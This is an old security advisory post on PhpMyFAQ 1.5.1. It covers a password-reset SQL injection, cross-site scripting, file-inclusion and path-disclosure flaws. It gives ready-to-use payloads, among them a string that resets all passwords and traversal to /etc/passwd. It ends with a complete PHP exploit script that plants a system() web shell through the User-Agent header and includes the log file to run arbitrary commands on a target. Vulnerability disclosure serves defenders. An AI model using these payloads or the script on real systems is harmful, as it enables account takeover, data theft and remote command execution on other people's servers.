retrogodaliceposta.it
Date: Thu Sep 22 2005 - 18:36:30 CDT

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2.31 23/09/2005

PhpMyFaq 1.5.1 SQL injection / board takeover / user info disclosure / path disclosure
remote code / commands execution

software:
site: http://www.phpmyfaq.de/
description: "phpMyFAQ is a multilingual, completely database-driven FAQ-system.
It supports various databases to store all data, PHP 4.1.0 (or higher) is needed
in order to access this data. phpMyFAQ also offers a multi-language Content
Management-System with a WYSIWYG editor and an Image Manager, flexible multi-user
support with LDAP support, a news-system, user-tracking, language modules,
enhanced automatic content negotiation, templates, extensive XML-support,
PDF-support, a backup-system, a dynamic sitempa and an easy to use installation script."

vulnerabilities:

1) if magic quotes off -> SQL injection:
   just take a look at vulnerable code in /admin/password.php:
   ...
        $username = $_POST["username"];
        $email = $_POST["email"];
        $num = $db->num_rows($db->query("SELECT name, email FROM ".SQLPREFIX."faquser WHERE name = '".$username."' AND email = '".$email."'"));
        if ($num == 1) {
            $consonants = array("b","c","d","f","g","h","j","k","l","m","n","p","r","s","t","v","w","x","y","z");
            $vowels = array("a","e","i","o","u");
            $newPassword = "";
            srand((double)microtime()*1000000);
            for ($i = 1; $i <= 4; $i++) {
                $newPassword .= $consonants[rand(0,19)];
                $newPassword .= $vowels[rand(0,4)];
                }
            $db->query("UPDATE ".SQLPREFIX."faquser SET pass = '".md5($newPassword)."' WHERE name = '".$username."' AND email = '".$email."'");
            $text = $PMF_LANG["lostpwd_text_1"]."\nUsername: ".$username."\nNew Password: ".$newPassword."\n\n".$PMF_LANG["lostpwd_text_2"];
            mail($IDN->encode($email), $PMF_CONF["title"].": username / password request", $text, "From: ".$IDN->encode($PMF_CONF["adminmail"]));
   ...

   switch to /admin directory, click on "forgotten password" feature
   and without to have an account you can reset
   admin password and send yourself it by email, example:

   user: ' or isnull(1/0) /*
   mail: [your_email]

   the two queries become:

   SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]'

   and

   UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]'

   (so all accounts have the same new password... not only admin one)

   [your_email] , now is passed to mail() funxtion

   you will soon receive a mail like this:

  "Thank you for requesting your account information.
   Username: ' or isnull(1/0) /*
   New Password: relicuxe

   Please set a new personal password in the admin section of your FAQ."

   now you can login, backup database, add/delete news, records, ban ip and execute
   commands on target system by inserting php code in news, system calls, etc.

2) cross site scripting:

http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script>
http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script>

3) arbitrary inclusion (on Windows):
   if magic_quotes_gpc off in php.ini settings you can see ANY file on target system:
   http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00

4) if magic_quotes both on and off you can include an arbitrary php file
   on the target machine:

   http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname]

   [scriptname] without '.php' extension

5) user info disclosure:

   http://[target]/[path]/phpmyfaq/data/tracking[date]

   where [date] is today date, example: 22092005
   you will see the log file...

6) path disclosure:
   http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file]

7) you can insert php code in a User Agent field request packet, example:

   <?php system($HTTP_GET_VARS[cmd]) ?>

   and, if magic_quotes is off, you can include log file to execute shell commands (this on Windows)

   http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00

this is my proof of concept exploit (it works against Windows servers, so it's only a divertisement
but OK, we are admin, remember? ;) ...):

<?php
# 17.34 22/09/2005 #
# #
# phpmyfaq_xpl.php #
# #
# PhpMyFaq 1.5.1 ( possibly prior versions) shell inject #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in your php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# if magic_quotes_gpc is off, boom! you launch commands... #
# #
# Sun-tzu: "When in difficult country, do not encamp. In country where high #
# roads intersect, join hands with your allies. Do not linger in dangerously #
# isolated positions. In hemmed-in situations, you must resort to stratagem. #
# In desperate position, you must fight." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head> <title> PhpMyFAQ 1.5.1 remote commands execution </title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> PhpMyFAQ
V 1.5.1 (possibly prior versions) remote commands execution </p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5"> hostname (ex: www.sitename.com) </span> </p> <p><input
type="text" name="path"><span class="Stile5"> path ( ex: /phpmyfaq/ or just /)
</span></p><p><input type="text" name="port" > <span class="Stile5"> specify
a port other than 80 (default value) </span></p><p> <input type="text" name=
"command"> <span class="Stile5"> a Unix command , example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input type="submit"name="Submit" value="go!"></p></form></td>
</tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
                            }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
                            }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
            if (!eregi($proxy_regex,$proxy))
            {echo htmlentities($proxy).' -> not a valid proxy...';
             die;
            }
           $parts=explode(':',$proxy);
            echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
            $ock=fsockopen($parts[0],$parts[1]);
            if (!$ock) { echo 'No response from proxy...';
                        die;
                       }
           }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{
  if ($port=='') {$port=80;}

# STEP 1 -> Shell Inject...
if ($proxy=='')
{$packet="GET ".$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";}

$packet.='User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>'."\r\n";
//you cannot insert ";" because it is stripped, so insert more statements
//if you change the shell, keep attemption to php syntax, if you make an error,
//you cannot lauch commands till tomorrow, I am not joking ;)

$packet.="Accept-Language: pl\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: lang=it; sid=49493\r\n";
show($packet);
sendpacket($packet);

# STEP 2 -> Include the log file and launch commands...
if ($proxy=='')
{$packet="GET ".$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";}
$packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'."\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: lang=it; sid=49493\r\n";
show($packet);
sendpacket($packet);
}
else
{
echo '<br>fill in requested fields, optionally specify a proxy...<br><br>';
}
?>

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/phpmyfuck151.html

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